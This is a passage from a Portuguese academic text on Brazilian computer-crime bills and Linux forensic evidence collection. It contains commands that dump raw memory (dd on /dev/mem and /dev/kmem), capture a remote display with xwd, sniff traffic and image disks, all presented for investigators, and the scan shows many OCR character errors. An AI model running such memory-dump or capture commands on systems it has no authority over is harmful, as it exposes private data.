Existem alguns projetos de lei, que até a data da conclusao desse trabalho, trami-
tam na camara dos deputados(PL) e no senado(PLS) sobre os crimes de informéatica

onde o fim e o meio sao pela Internet.

PL 3.356/00 - Do Sr. Osméanio Pereira - Dispoe sobre a oferta de servigos através

de redes de informacao.

PL 3.303/00 - Do Sr. Antonio Feijao - Dispde sobre normas de operagao e uso

da Internet no Brasil.

PL 7093/02 - Ivan Paixao - dispde sobre a correspondéncia eletronica comercial,

entre outras providéncias.

PL 6.210/02 - Ivan Paixdo - Limita o envio de mensagem eletronica nao solici-

tada, por meio da Internet

PL 1809/99 - Bispo Rodrigues - dispoe sobre a segurancga nas transagoes ban-

carias efetuadas por meios eletronicos e fornece outras providéncias.

PL 84/99 - Luiz Piauhylino - Dispoe sobre os crimes cometidos na area de

informatica, suas penalidades e fornece outras providéncias

PLS 76/00 - Leomar Quintanilha - Estabelece nova pena aos crimes cometidos

com a utilizacao de meios de tecnologia de informacao e telecomunicacoes.

Os dois ultimos projetos abordam de que forma devem ser tratados os crimes
cometidos pelos computadores e suas penas. Definindo como crimes a destruicao de
dados ou sistemas de computacao que nao sejam seus, a apropriacao de dados alheios

e o uso indevido de dados ou registros sem que seus titulares tenham consentido.
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O PL 84, ja percorre as comissoes do Congresso h& quase seis anos e ainda nao
tem prazo para ser aprovado. A proposta é importante para o pais, pois tipifica os

crimes eletronicos e com isso pode inibir a acao dos hackers brasileiros.

J& o PLS 76 define como crime a alteracao ou transferéncia de contas representa-
tivas de valores sem base legal, a difusao de material injurioso sem autorizagao, o uso
da informaética para ativar explosivos, alteracao de registros de operagoes tributérias

e a sonegacao de tributos decorrentes de operacgoes virtuais.

Segue a integra destes projetos de lei nas proximas sessoes.

3.3.1 Projeto de Lei 84/99
SUBSTITUTIVO ADOTADO PELA COMISSAO AO PROJETO DE LEI N° 84-B,
DE 1999 (Apensos PLs n°s 2.557/00, 2.558,/00 e 3.796/00)

Altera o Decreto-Lei n° 2.848, de 7 de dezembro de 1940 - Cédigo Penal e a Lei n° 9.296, de 2/
de julho de 1996.

O CONGRESSO NACIONAL decreta:
Art. 1° Esta Lei dispoe sobre os crimes de informaética, e da outras providéncias.

Art. 2° O Decreto-Lei n° 2.848, de 7 de dezembro de 1940 - Codigo Penal, passa a vigorar

acrescido da seguinte Secido V do Capitulo VI do Titulo I:
"Secdo V - Dos crimes contra a inviolabilidade dos sistemas informatizados
Acesso indevido a meio eletrénico

Art. 154-A. Acessar, indevidamente ou sem autorizagio, meio eletronico ou sistema

informatizado:
Pena - detencao, de trés meses a um ano, e multa.

§ 1° Nas mesmas penas incorre quem fornece a terceiro meio indevido ou nao autorizado de

acesso a meio eletronico ou sistema informatizado.

§ 2° Somente se procede mediante representacao, salvo se o crime é cometido contra a Uniao,

Estado, Municipio, empresa concessionaria de servigos publicos ou sociedade de economia mista.

Manipulacgao indevida de informacao eletrénica
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Art. 154-B. Manter ou fornecer, indevidamente ou sem autoriza¢do, dado ou informagdo obtida

em meio eletronico ou sistema informatizado:
Pena - detencao, de seis meses a um ano, e multa.

1° Nas mesmas penas incorre quem transporta, por qualquer meio, indevidamente ou sem
) )

autorizacao, dado ou informacao obtida em meio eletréonico ou sistema informatizado.

2° Somente se procede mediante representacao, salvo se o crime é cometido contra a Unido
) )

Estado, Municipio, empresa concessionéaria de servigos publicos ou sociedade de economia mista.
Meio eletronico e sistema informatizado
Art. 154-C. Para os efeitos penais, considera-se:

I - meio eletrénico: o computador, o processador de dados, o disquete, o CD-ROM ou qualquer

outro meio capaz de armazenar ou transmitir dados magnética, 6ptica ou eletronicamente.

II - sistema informatizado: a rede de computadores, a base de dados, o programa de computador

ou qualquer outro sistema capaz de armazenar ou transmitir dados eletronicamente."

Art. 3° O art. 163 do Decreto-Lei n°® 2.848, de 7 de dezembro de 1940 - Codigo Penal, passa a

vigorar com as seguintes alteracoes, renumerando-se o Paragrafo Gnico para § 1°:

AT, 163, oo

Dano eletronico

§ 2° Equipara-se a coisa:

I- 0 dado, a informacao ou a base de dados presente em meio eletrénico ou sistema informatizado;

II - a senha ou qualquer meio de identificacdo que permita o acesso a meio eletréonico ou sistema

informatizado.
Difusao de virus eletrénico

§ 3° Nas mesmas penas do § 1° incorre quem cria, insere ou difunde dado ou informagcao em meio
eletronico ou sistema informatizado, indevidamente ou sem autorizacio, com a finalidade de

destrui-lo, inutilizé-lo, modifica-lo ou dificultar-lhe o funcionamento."

Art. 4° O art. 167 do Decreto-Lei n°® 2.848, de 7 de dezembro de 1940 - Codigo Penal, passa a

vigorar com as seguintes alteracoes:

"Art. 167. Nos casos do art. 163, § 1°, inciso IV , quando o dado ou informagcao nao tiver
potencial de propagacao ou alastramento, e do art. 164, somente se procede mediante

queixa."(NR)
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Art. 5° O Decreto-Lei n° 2.848, de 7 de dezembro de 1940 - Codigo Penal, passa a vigorar

acrescido do seguinte artigo:
"Pornografia infantil

Art. 218-A. Fotografar, publicar ou divulgar, por qualquer meio, cena de sexo explicito ou

pornogréfica envolvendo crianca ou adolescente:
Pena - reclusao, de um a quatro anos, e multa.

§ 1° As penas sdo aumentadas de metade até 2/3 (dois tercos) se o crime é cometido por meio de

rede de computadores ou outro meio de alta propagacao.
§ 2° A acao penal é publica incondicionada."

Art. 6° Os arts. 265 e 266, ambos do Decreto-Lei n® 2.848, de 7 de dezembro de 1940 - Codigo

Penal, passam a vigorar com as seguintes alteracoes:
"Atentado contra a seguranca de servigo de utilidade puablica

Art. 265. Atentar contra a seguranca ou o funcionamento de servico de dgua, luz, for¢a, calor ou

telecomunicacio, ou qualquer outro de utilidade publica: (NR)
Interrupgao ou perturbacao de servigo telegrafico ou telefonico

Art. 266. Interromper ou perturbar servico telegrafico, radiotelegrafico, telefonico ou de

telecomunicacdo, impedir ou dificultar-lhe o restabelecimento: (NR)

Art. 7° O art. 298 do Decreto-Lei n® 2.848, de 7 de dezembro de 1940 - Codigo Penal, passa a

vigorar acrescido do seguinte paragrafo tinico:

MATE. 208, e
Falsificagao de cartao de crédito

Paragrafo unico. Equipara-se a documento particular o cartao de crédito ou débito"

Art. 8 O Decreto-Lei n° 2.848, de 7 de dezembro de 1940 - Codigo Penal, passa a vigorar

acrescido do seguinte artigo:
"Falsificagao de telefone celular ou meio de acesso a sistema eletrénico

Art. 298-A. Criar ou copiar, indevidamente ou sem autorizagao, ou falsificar codigo, seqiiéncia

alfanumérica, cartao inteligente, transmissor ou receptor de radiofreqiiéncia ou de telefonia



3.3 Projetos de Lei 36

celular ou qualquer instrumento que permita o acesso a meio eletroénico ou sistema informatizado:
Pena - reclusdo, de um a cinco anos, e multa."

Art. 9° O art. 2° da Lei n°® 9.296, de 24 de julho de 1996, passa a vigorar acrescido do § 2°,

renumerando-se o paragrafo tinico para § 1°:

§ 2° O disposto no inciso III do caput nao se aplica quando se tratar de interceptagao do fluxo de

comunicacoes em sistema de informaética ou telemética.

Art. 10. Os crimes previstos nesta lei quando praticados nas condicbes do inciso 11, art. 9°, do
Decreto-Lei n° 1.001, de 21 de outubro de 1969 - Codigo Penal Militar, serdo de competéncia da

Justica Militar.
Art. 11. Fica revogado o art. 241 da Lei n°® 8.069, de 13 de julho de 1990.

Art. 12. Esta Lei entra em vigor na data de sua publicacao.

3.3.2 Projeto de Lei do Senado n° 76/00

Projeto de Lei do Senado n® 76 , de 2000

Define e tipifica os delitos informaticos, e d& outras providencias
O CONGRESSO NACIONAL decreta,

Art. 1° Constitui crime de uso indevido da informatica:

§ 1° contra a inviolabilidade de dados e sua comunicacao: I - a destruicao de dados ou sistemas
de computacado, inclusive sua inutilizacao; II - a apropriacao de dados alheios ou de um sistema,
de computacao devidamente patenteado; III - o uso indevido de dados ou registros sem
consentimento de seus titulares; IV - a modificacao, a supressao de dados ou adulteracao de seu
contetido; V - a programagao de instrucoes que produzam bloqueio geral no sistema ou que

comprometam a sua confiabilidade.
Pena: detencao, de um a seis meses e multa.

§2° contra a propriedade e o patrimoénio:
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I - a retirada de informacao privada contida em base de dados; II - a alteracdo ou transferéncia

de contas representativas de valores;
Pena: detencao, de um a dois anos e multa.
§ 3° contra a honra e a vida privada:

I - difusfo de material injurioso por meio de mecanismos virtuais; IT - divulgagdo de informacoes

sobre a intimidade das pessoas sem prévio consentimento;
Pena: detencao, de um a seis meses e multa.

§ 4° contra a vida e integridade fisica das pessoas: I - 0 uso de mecanismos da informatica para
ativac@o de artefatos explosivos, causando danos, lesbes ou homicidios; II - a elaboracao de

sistema de computador vinculado a equipamento mecénico, constituindo-se em artefato explosivo;
Pena: reclusao, de um a seis anos e multa.
§ 5° contra o patrimoénio fiscal :

I - alteragao de base de dados habilitadas para registro de operagdes tributéarias; II - evasao de

tributos ou taxas derivadas de transacoes "virtuais";
Pena: detencao, de um a dois anos e multa.
§ 6° contra a moral publica e op¢do sexual:

I- a corrupcdo de menores de idade; IT - divulgacdo de material pornogréafico; II1 - divulgagao

publica de sons, imagens ou informacao contraria aos bons costumes.
Pena: reclusdo, de um a seis anos e multa.

§ 7° contra a seguranca nacional: I - a adulteracio ou revelagdo de dados declarados como
reservados por questoes de seguranca nacional; IT - a intervencao nos sistemas de computadores
que controlam o uso ou ativacao de armamentos; 111 - a inducao a atos de subversao; IV - a

difusao de informacao atentatéria a soberania nacional.
Pena: detencao, de um a dois anos e multa.

Art. 20 Os crimes tipificados nos §§ 1o a 3o sdo agoes penais publicas condicionadas a

representacao e os demais agoes penais incondicionadas.

Art. 3° Qualquer um desses crimes que venha a ser praticado contra empresa concessionaria de
servicos publicos, sociedades de economia mista ou sobre qualquer 6rgao integrante da
administracao ptblica terao suas penas aumentadas para dois a seis meses e multa, nos casos dos

§§1° e 3° e de um ano e seis meses a dois anos e seis meses e multa nos demais casos.
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Art. 4° Caso seja praticado qualquer um dos crimes tipificados nesta Lei como meio de realiza¢ao
ou facilitacao de outro crime, fica caracterizada a circunstancia agravante qualificadora,

aumentando-se a pena de um terco até a metade.

Art. 5° Todos os crimes por uso indevido de computador estao sujeitos a multa igual ao valor do

proveito pretendido ou do risco de prejuizo da vitima.

Art. 60 Esta lei entra em vigor na data de sua publicagio.



Capitulo 4

A Coleta de Evidéncias Digitais

INVESTIGADOR que realizar a coleta de evidéncias digitais deve assegurar
O que as informacoes obtidas existem no computador suspeito e nao foram
alteradas durante a andlise. Tratando-se de uma evidéncia digital, manté-la integra
¢ complicado devido ao seu alto grau de volatilidade, e um simples ato de ligar ou

desligar o computador pode alterar ou destruir evidéncias.

Portanto, ¢ importante que os investigadores sigam procedimentos, que garantam
que a evidéncia foi coletada, preservada e analisada de forma correta, minuciosa e li-
vre de contaminacgoes. Uma coleta conduzida inapropriadamente pode comprometer

totalmente a investigacao forense.

Os procedimentos usados em uma anélise forense devem ser coerentes com um

conjunto de principios legais e técnicos. Alguns desses principios sao:

As acgoes do investigador nao devem alterar as evidéncias;

A evidéncia original deve ser preservada no estado mais proximo possivel da-

quele em que foi encontrada;

Todas as evidéncias digitais coletadas e as copias produzidas devem ser auten-

ticados por meio de hash criptografico, para verificar sua integridade;

O investigador nao deve confiar nos programas e nem nas bibliotecas dinamicas
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4.1

do sistema suspeito;

Fazer uma imagem(copia exata) da evidéncia original sempre que possivel,

para preservar a integridade deste;

A copia dos dados que serao examinados devem ser feitas para uma midia

"esterelizada"e sem defeitos;

Toda evidéncia deve ser apropriadamente etiquetada, contendo por exemplo o

nome do caso investigado, data e hora da coleta, entre outros;
Todas as informagoes relativas a investigacao devem ser documentadas;

As ferramentas utilizadas na investigagao devem ser aceitas pelos especialistas

forenses e testadas para garantir sua operacao correta e confiavel.

Situacao inicial do sistema

O investigador forense ao ser chamado para fazer uma anélise, pode encontrar o

computador ligado ou desligado. Caso o encontre desligado, ele ira fazer a imagem

do disco e comegara a trabalhar em cima desta. O processo sobre a criacao de uma

imagem de disco ¢ explicado na segao 4.7.1.

J4 em uma situagao que o sistema esta ligado, é possivel coletar dados volateis

cOmo, processos em execucao, conexoes abertas, podendo conter informagoes rele-

vantes a investigacao. No entanto, a coleta dos dados volateis deve respeitar a sua

ordem de volatilidade, pois o tempo de vida de uma evidéncia digital varia de acordo

com o local onde ela estd armazenada. A ordem descendente das principais fontes

de informagdo de um sistema computacional é[11]:

e dispositivo de armazenagem do processador (registradores e caches);

e memoria de periféricos (impressora, video, por exemplo);

e memoria principal do sistema;
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o trafego de rede;

e estado do sistema operacional (como por exemplo, estado dos processos e das

conexdes de redes, configuragoes do sistema);
e dispositivo de armazenagem secundéaria (disco rigido, CD-ROM, por exemplo)
Durante a coleta é importante seguir essa ordem de volatilidade porque quanto
mais volatil for a informagao, menos tempo ha para captura-la.

As secoes seguintes explicam como realizar esta coleta obecedendo a ordem des-
crita. Vale ressaltar que todas as ferramentas utilizadas nos exemplos tiveram sua,

integridade verificada, garantindo assim sua confiabilidade.

4.2 Dispositivos de armazenagem do processador

O simples ato de observar informagcoes nos registradores do processador ja pode
altera-las. Por isso tornam-se de minima utilidade e sua captura é impraticavel,

assim como os dados em caches|11].

4.3 Memoria de periféricos

Alguns periféricos como impressora e video possuem suas proprias memorias.
Nelas podem estar armazenadas informacoes que nao existam mais no sistema sus-

peito.

O comando xwd permite capturar informagoes da memoria(dump) de video, por
exemplo. Numa situacao em que o invasor utiliza um terminal ou console grafico, o

investigador pode capturar a tela corrente do invasor com o xwd.

Supondo que o invasor esteja na estacao 10.10.0.1, pode-se capturar a sua tela

assim:

#xwd -display 10.10.0.1:0 -root > tela_invasor.xwd
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A opcao -display 10.10.0.1:0 serve para identificar o computador e o nimero do
terminal grafico da tela. J& o parametro -root especifica que tela inteira deve ser

capturada.

O arquivo que contém a tela capturada (tela invasor.xwd) pode ser visuali-

zado através do utilitario xwud:

#xwud -in tela_invasor.xwd

4.4 Memoria principal

A memoria principal contém diversas informacoes volateis do sistema, como por
exemplo, dados sobre os processos que estao em execucao, dados que ainda estao
sendo manipulados e nao foram gravados no disco rigido. Tais informagoes podem
ser obtidas por meio de:

e Dumps da memoria;

e Geracao de core files;

e Diretorio /proc

4.4.1 Dump da memoria

Dump da memoria é nome do processo de capturar as informacoes da memoria,

e pode ser feito através do comando dd:

#dd < /dev/mem > mem.dump

#dd < /dev/kmem > kmem.dump

Sabendo que o sistema operacional GNU /Linux ¢é trata tudo como arquivo, a
propria memoria principal do sistema e a memoéria virtual do kernel, sao acessadas

através dos arquivos /dev/mem e /dev/kmem respectivamente.
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Ao fazer o dump, o investigador pode realizar buscas por palavras-chave através

dos comandos grep e strings a fim de encontrar alguma evidéncia relevante.

#strings -a mem.dump | grep palavra-chave

No exemplo acima, o comando strings retorna todo contetido de texto do ar-
quivo mem.dump e o grep filtra este resultado exibindo somente as palavras que

contenham a string 'palavra-chave’.

4.4.2 Geracao de core files

Core file ou core dump sao arquivos que contém a coOpia exata da memoria
ocupada pelo processo quando este é terminado pelo sistema. Tais arquivos s6 sao

criados quando o processo recebe sinais cuja agao é terminar o processo e gerar o

core dump como o SIGQUIT, SIGSEGYV, entre outros.

Através do comando kill, por exemplo, é possivel gerar um core file ja que ele é

responsavel pelo envio de sinais a um processo.

Supondo que o processo script.sh esteja em execucao com o nimero de identifi-

cagao(PID) 3313:

#kill -s SIGSEGV 3313

O parametro -s especifica que o sinal a ser enviado ¢ 0o SIGSEGYV para o processo
3313, que seré finalizado e um arquivo com nome "core"sera criado. Para confirmar
ou descobrir o sinal e o processo relacionado a este core file, pode utilizar-se do

comando file[11]:

#file core

core: ELF 32-bit LSB core file (signal 11), Intel 80386, version 1 (SYSV), from ’script.sh’

No exemplo anterior, o core file originou-se do processo script.sh que recebeu o

sinal 11, o SIGSEGYV.
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A anéalise de um core file pode revelar, dentre outras informacoes, as rotinas
que estavam sendo executadas, os valores dos registradores, o contetido do espaco
de enderecamento virtual do processo e a estrutura do usuario [22]. Mas para o
investigador, o interessante é saber qual programa originou o core file porque esses
comportamentos anormais, geralmente, sao ocasionados por usuarios mal intensi-
onados. Entao este programa é considerado suspeito e pode ser uma evidéncia,
assim como os arquivos a que o programa faz referéncia. O sinal recebido também

é relevante, ja que pode revelar uma mera falha(bug) do proprio programa.

4.4.3 Diretorio /proc

O diretorio /proc é um pseudo-sistema de arquivos usado como uma interface
para as estruturas de dados do kernel do sistema operacional, permitindo uma visao

do ambiente de cada processo em execucao, assim como o estado da memoria.

A memoria pode ser acessada pelo pseudo-arquivo /proc/kcore, que representa
a memoria fisica do sistema no formato de um core file. Novamente, com auxilio do
strings ou um programa de depuracao, como gdb, o investigador pode analisar o

conteudo desse arquivo.

4.5 Trafego de rede

A partir do trafego de rede é possivel analisar toda a comunicac¢ao entre atacante
e maquina invadida, estabelecendo uma seqiiéncia de eventos e comparando com as

outras evidéncias encontradas.

Programas utilizados para captura de trafego de rede sao conhecidos como snif-
fers. Um dos programas desse género mais popular é o tcpdump 23|, que pode ser
usado para capturar qualquer trafego de rede, decodificar e exibir os datagramas a

medida em que sao coletados.

# tepdump -i ethO host 10.10.0.1
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Neste exemplo, o tcpdump ¢ utilizado para capturar todo o trafego de rede
que passa pela interface ethO, provenientes do endereco IP 10.10.0.1 ou que o tenha

como destino.

O parametro -w do tcpdump permite armazenar os datagramas capturados em

um arquivo binério para posterior andlise:

# tepdump -w trafego.dump

Com auxilio de ferramentas como, por exemplo, ethereal [24], o investigador
pode analisar este arquivo binario e exibir as informacdes dos datagramas capturados

em um formato legivel permitindo até a reproducao da sessao capturada.

O Tcpdump também permite imprimir o cabecalho da camada de enlace, filtrar
por porta de destino ou origem, entre outros. Mais detalhes sobre as op¢oes e filtros

dessa ferramenta pode ser obtido em suas paginas manuais (man page).

E importante destacar que o sniffer deve ser instalado em um ponto, onde todo o
trafego do sistema suspeito tenha que passar por ele para garantir que nada deixara

de ser analisado.

Com a analise dos datagramas pode-se encontrar evidéncias como:

endereco IP invalido ou suspeito;

trafego em portas desconhecidas;

trafego em servigos ou portas que nao deveria estar ocorrendo;

datagramas com opgoes, flags ou tamanhos que nao respeitam os padroes do

protocolo (Request for Comment - RFC);

flood de datagramas na rede;

trafego TCP em portas incomuns.
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4.6 Estado do sistema operacional

Com o sistema ligado o investigador pode coletar dados sobre o estado do sis-
tema operacional, como por exemplo, estado dos processos, e obter importantes

informagoes sobre o tipo e a origem do ataque.

Vale relembrar que o investigador nunca deve confiar nas ferramentas e nem
nas bibliotecas do sistema suspeito, pois o invasor pode ter alterado os binarios
do sistema j& prevendo uma situacao de analise forense. Todos os comandos aqui
exemplificados devem ser feitos pelo investigador com seu proprio conjunto de fer-

ramentas, que este sim é confiavel.

Algumas informacoes reveladas ao verificar o estado do sistema sao:

® Drocessos em execucao;

interface e conexoes de rede;

acesso dos usuarios;

modulos do kernel;

4.6.1 Processos em execucao

A analise dos processos em execucao no sistema é de grande importancia, pois

indicam o seu comportamento naquele momento.

Um invasor pode desvirtuar a execuc¢ao de um processo para garantir ou au-
mentar os seus privilégios no sistema. Se os processos nao estiverem funcionando

corretamente o sistema também nao estara.

Existem diversas formas de descobrir informacoes relacionadas aos processos em
execugao. Informagoes estas como comando executado, arquivos abertos, consumo

de recursos, entre outras, que revelam evidéncias de atividades nao autorizadas.

O comando ps junto com o parametro aux, por exemplo, é uma maneira de

obter uma listagem completa de todos os processos em execucao no sistema:



4.6 Estado do sistema operacional 47

# ps axu

A saida gerada pela execucao do comando no exemplo anterior, serd uma lista
de todos os processos correntes no sistema indicando seu numero de identificacao
(PID'), dono do processo, seu consumo de processador e memoria, entre outros. O
comando ps possui diversas op¢oes que exibem outros tipos de dados. Caso deseje

saber mais sobre o programa, leia sua man page.

Outro comando do género do ps é o top. Diferenciam-se somente porque o top

exibe a lista de processos em execucao em tempo real.

Agora, para saber quais arquivos estao abertos, decorrentes de um processo em

execucao, utiliza-se o Isof [25]. Por exemplo:

# lsof -p 567

O Isof vai listar todos arquivos abertos pelo processo com PID 567.

Outras ferramentas relevantes na andlise dos processos correntes sao strace |26]
e ltrace [27|, sendo o primeiro responsavel por exibir uma listagem das chamadas

de sistema em execucao e o segundo pela chamada das rotinas de bibliotecas.

Considerando novamente o diretério /proc, cada processo na memoria possui um
sub-diretorio dentro dele, cujo nome é o seu nimero de identificacao. Por exemplo,
supondo que o processo sshd tem PID igual a 558, dentro do /proc existira o

sub-diretério 558 com o conteudo:

# 1s -1 /proc/558

total 0

-r--r--r-- 1 root root 0 Mar 9 01:50 cmdline

lruxrwxrwx 1 root root 0 Mar 9 01:50 cwd -> //

-r-------- 1 root root 0 Mar 9 01:50 environ

lrwxrwxrwx 1 root root 0 Mar 9 01:50 exe -> /usr/sbin/sshd*
dr-x------ 2 root root 0 Mar 9 01:50 fd/

-r--r--r-- 1 root root 0 Mar 9 01:50 maps

Process Identifier
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-rW------- 1 root root 0 Mar 9 01:50 mem
-r--r--r-- 1 root root 0 Mar 9 01:50 mounts
lruxrwxrwx 1 root root 0 Mar 9 01:50 root -> //
-r--r--r-- 1 root root 0 Mar 9 01:50 stat
-r--r--r-- 1 root root 0 Mar 9 01:50 statm
-r--r--r-- 1 root root 0 Mar 9 01:50 status

Dentro desse subdiretério um investigador forense pode descobrir o comando
completo (arquivo cmdline), o caminho do binario executado (o links simbolico
exe), os arquivos abertos pelo processo (que sao referenciados por links simbolicos

contidos no sub-diretorio fd), entre outros.

Com todas essas fontes de informacao acerca dos processos em execucao citadas
anteriormente, é possivel identificar situacoes que podem representar evidéncias de
uma intrusao, como por exemplo:

e existéncia de processos com nome suspeito;

® acesso a arquivos suspeitos ou nao permitidos;

e auséncia de processos que deveriam estar executando (syslogd, por exemplo);

e informagoes inconsistentes entre o comando ps e diretoério /proc;

e processo aceitando conexoes em portas suspeitas;

e processo com dono trocado;

e consumo de recurso incomum de um processo;

4.6.2 Interface e conexoes de rede

Um atacante pode instalar um sniffer na rede com a intengao de capturar algum
datagrama que contenha uma senha, por isso é importante analisar o estado da

interface de rede. O comando ifconfig pode ser utilizado nessa tarefa.
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# ifconfig ethO

ethO Link encap:Ethernet HWaddr 00:E0:4C:E7:59:92
inet addr:10.10.0.16 Bcast:10.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:45374 errors:0 dropped:0 overruns:0 frame:0
TX packets:49282 errors:0 dropped:0 overruns:0 carrier:0
collisions:1571 txqueuelen:1000
RX bytes:17982531 (17.1 Mb) TX bytes:21190760 (20.2 Mb)
Interrupt:10 Base address:0x9000

No exemplo anterior, o comando ifconfig é executado com o parametro ethO,
pois deseja-se adquirir dados sobre a interface de rede eth0. Note que na terceira
linha esta escrito PROMISC, indicando que essa interface esta funcionando em modo

promiscuo.

Uma interface de rede funcionando de modo promiscuo significa que todos os
datagramas serao recebidos pela interface, mesmo que nao seja enderecado a ela.

Por isso, modo promiscuo caracteriza a existéncia de um sniffer.

Além do estado da interface, as conexoes de redes também devem ser analisadas.
Um exemplo de comando responsavel por exibir o estado das conexoes e portas

abertas no sistema é o netstat.

# netstat -atunp

A opcao -a permite a visualizacao de todas as conexoes de rede e o niimero de
identificacao do processo. O nome do programa associado a cada conexao é exibido
pela opcao -p, as opgoes -t e -u indicam que devem ser exibidas somente conexoes
TCP e UDP, respectivamente. Por ultimo, a opcao -n desabilita a conversao de
enderecos IP em nomes. Maiores informacoes sobre as op¢oes e o funcionamento do

netstat podem ser obtidas em sua man page.

Pelo resultado do comando netstat é possivel obter algumas informacoes que

podem ajudar o investigador como:

e auséncia de servigos que deveriam estar habilitados;
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e presenca de servicos que deveriam estar desabilitados;
e servicos estabelecendo conexdes suspeitas;

e enderecos IP suspeitos;

4.6.3 Acesso dos usuarios

Verificar quais usuarios estao ou estavam conectados podem revelar dados como:

e nomes de usuarios suspeitos;

e acesso de usuario em dia ou hora suspeito;

e conexao de usuario que nao deveria ocorrer;

O comando lastlog possibilita exibir o dia e hora da tltima conexao de cada

usuario no sistema. Segue um exemplo:

# lastlog

Username Port From Latest

root ttypl 10.10.0.84 Wed Mar 9 18:29:08 -0300 2005
bin **xNever logged inx**

daemon **xNever logged inx**

adm *xNever logged inxx

sync *xNever logged inxx*

shutdown **¥Never logged inx**

operator *xNever logged inxx*

sshd *xNever logged inxx*

nobody **Never logged inx**

bruno :0 Fri Dec 3 16:10:33 -0200 2004
airon ttyl Fri Mar 1 09:37:53 -0300 2005
paulo tty3 Wed Nov 17 14:23:57 -0200 2004
fred :0 Thu Mar 7 11:52:12 -0300 2005
claudia **xNever logged inx**

pinaffi :0 Mon Jan 17 13:14:09 -0200 2005
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Com o comando w, é possivel descobrir quais usuarios estao conectados no sis-

tema e que eles estao executando. Um exemplo de uso seria:

#w
11:59:24 up 8 min, 2 users, load average: 0.15, 0.32, 0.21

USER TTY FROM LOGINGQ IDLE JCPU PCPU WHAT
root ttyl - 11:59 7.00s 0.49s 0.49s -bash
fred :0 - 11:52  ?xdm? 1:20 0.52s /bin/sh /opt/kde/bin/startkde

4.6.4 Mobdulos do kernel

O investigador deve analisar os modulos do kernel, pois moédulos maliciosos po-
dem ser carregados através do LKM e comprometer o funcionamento do sistema.
Esses modulos maliciosos podem interceptar comandos do sistema como ps,
netstat, ifconfig e produzir resultados falsos para tentar enganar o investigador.

A presenca desse tipo de modulo representa uma evidéncia de intrusao.

A anélise dos modulos no sistema suspeito pode se feita comparando as informa-
¢oes fornecidas pelos comandos Ismod, kstat|28] e pela interface /proc/modules.
Cada uma dessas ferramentas utiliza uma forma de visualizar os modulos do sistema.
O Ismod usa a chamada de sistema sys query module, ja /proc/modules uti-
liza a chamada de sistema sys read e o kstat, varre uma por¢ao da memoria do

kernel em busca de modulos, inclusive os invisiveis.

Ao executar esses trés métodos, se aparecer um modulo na saida de uma ferra-

menta e nao aparecer na outra, € um indicio de presenca de modulo suspeito.

4.7 Dispositivos de armazenagem secundaria

Essa parte da analise é feita apds o computador ter sido desligado, logo s6 possui
a memoria nao volatil, CD-ROM, disquetes, discos rigidos, por exemplo. Representa

a mais lenta das etapas devido aos discos representarem a maior fonte de informacao.

Primeiramente, antes de comecar a analise forense no disco suspeito, é necessério
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fazer uma imagem do disco preservando assim, o original. A Segao seguinte trata

deste assunto.

4.7.1 Fazendo uma imagem

Imagem de um disco é o processo de fazer uma copia exata dos dados contidos
nele, preservando sua estrutura e localizacao. Ja no processo de copiar todos os
dados de um disco para outro, os dados serao armazenados nesse outro de forma
seqiiencial. Tanto na imagem quanto na copia simples, o contetido dos dados no

disco serao os mesmos, mas a forma em que estao distribuidos nao.

Uma simples copia nao replica as informagoes armazenadas em lugares nao aces-
siveis pelo sistema de arquivos. E nesses lugares, citados a seguir, os atacantes

podem esconder evidéncia do seu delito. Alguns deles sao:

e O sistema de arquivo pode nao ocupar totalmente a particao devido ao tama-
nho do bloco (cluster) utilizado. Os tltimos setores desperdigados devem ser

verificados;

e Espagos alocados a arquivos que nao sao totalmente utilizados (file slacks),
podem ser utilizados para esconder informacoes. Por exemplo, um arquivo
com tamanho de 2460 bytes, em um sistema de arquivos com tamanho de bloco
de 1024 bytes, ocupa trés blocos de alocagao(3 * 1024 = 3072) , desperdigando
os ultimos 612 (3072 - 2460 = 612)bytes alocados;

e A BIOS pode nao suportar a geometria do disco de modo que, nao é permitido

0 acesso a toda porgao fisica do disco;

e As particoes acessiveis podem nao ocupar todo o disco, podendo surgir assim,

espaco entre particoes ou no final do disco;

e Podem existir particoes que nao contém um sistema de arquivos e mesmo assim

esconder informacoes;



4.7 Dispositivos de armazenagem secundéaria 53

e Vestigio de arquivos apagados. Quando um arquivo é apagado, sua referéncia é
removida das estruturas do sistema de arquivos, entretendo os dados contidos
no arquivo nao sao apagados do disco|5|. Estes dados ficam no disco até que

sejam sobrescritos por outros arquivos.

e Arquivos de swap podem conter dados importantes que ainda nao foram gra-

vadas no disco

Programas normais de copia ou de backup nao devem ser utilizados para efe-
tuar uma andlise forense por s6 conterem os dados reconhecidos pelo sistema de
arquivos, nao capturando todos os dados residuais(arquivos apagados, slack space,
arquivos swap). Ja a imagem do disco realiza uma copia bit a bit, possuindo todas

as informacoes do disco.

Fazer uma imagem do disco é um passo essencial no processo de andlise forense,
pois é com ela que o investigador passa a maior parte do tempo trabalhando na

procura de evidéncias, despreocupado em danificar a evidéncia original.

Existem diferentes maneiras de criar uma imagem de um disco, como a seguir:

e Remover o disco do computador suspeito e coloci-lo em outro computador
para fazer a imagem. De preferéncia, esse computador de destino seja uma

estacao forense;
e [ncluir outro disco no computador suspeito e por a imagem nele;

e Através de uma conexao de rede, pode-se transferir a imagem do disco suspeito

para outro computador ou estagao forense.

A escolha e 0 uso de uma ferramenta correta sao imperativos para uma boa
anélise computacional forense. De acordo com o National Institute of Standards and
Technology(NIST)[29] essa escolha de ferramenta para a criagdo de uma imagem do

disco, deve atender a certas especificacoes:

e Capaz de fazer uma imagem do disco original, uma particao do disco ou uma

midia removivel;
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Sua execucao nao pode alterar o original;

Capaz de acessar tanto disco IDE quanto SCSI;

Registrar (log) erros de entrada e saida (input/output);

A documentacao deve estar correta;

Deve ser capaz de verificar a integridade do arquivo de imagem do disco.

A ferramenta dd atende a esses requisitos e é reconhecida pelo proprio NIST. E
um utilitario freeware desenvolvido para sistema GNU /Linux capaz de fazer imagem

e copia de cada setor dos dispositivos SCSI e IDE.

Supondo que o disco suspeito seja instalado na estacao forense como master
da IDE secundaria, um exemplo para armazenar a imagem deste disco em arquivo

(hdc_img.dd) é:

# dd if=/dev/hdc of=hdc_img.dd

Caso o intuito seja gerar a imagem em outro disco, acessado pelo arquivo /dev/hdb,

tem-se:

# dd if=/dev/hdc of=/dev/hdb

Neste exemplo, a imagem da IDE secundaria master foi gerada na IDE priméria
slave. Vale ressaltar que o disco a receber a imagem(/dev/hdb), deve estar "este-
rilizado", completamente limpo, zerado, para evitar que algum dado de instalagoes
